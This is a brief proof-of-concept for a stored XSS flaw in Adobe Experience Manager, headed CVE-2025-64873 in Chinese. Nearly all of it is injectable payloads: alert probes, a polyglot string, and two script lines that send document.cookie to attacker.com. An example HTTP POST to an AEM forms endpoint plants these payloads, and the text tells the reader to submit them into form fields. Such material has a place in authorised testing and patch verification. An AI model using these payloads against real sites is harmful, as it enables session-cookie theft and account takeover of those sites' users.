CVE-2025-64873 Adobe Experience Manager存储型XSS漏洞

<!-- CVE-2025-64873 Stored XSS PoC --> <!-- Inject this payload into vulnerable form fields in Adobe Experience Manager --> <!-- Basic XSS payload --> <script>alert(document.cookie)</script> <!-- Image tag-based XSS payload --> <img src=x onerror=alert('XSS')> <!-- Event handler XSS payload --> <svg/onload=alert(document.domain)> <!-- Polyglot XSS payload --> javascript:/*--></title></style></template></select></option></script></xmp><svg/onload=alert(origin))>// <!-- Steal session cookies --> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <!-- To test: Submit above payload in any text field of AEM forms, then visit the page containing the stored content. --> <!-- Example API request --> POST /content/forms/af/[form-name]/jcr:content/guideContainer.json HTTP/1.1 Host: target.com Content-Type: application/json { "textField": "<img src=x onerror=alert(document.cookie)>", "name": "<script>fetch('https://attacker.com/steal?c='+btoa(document.cookie))</script>" }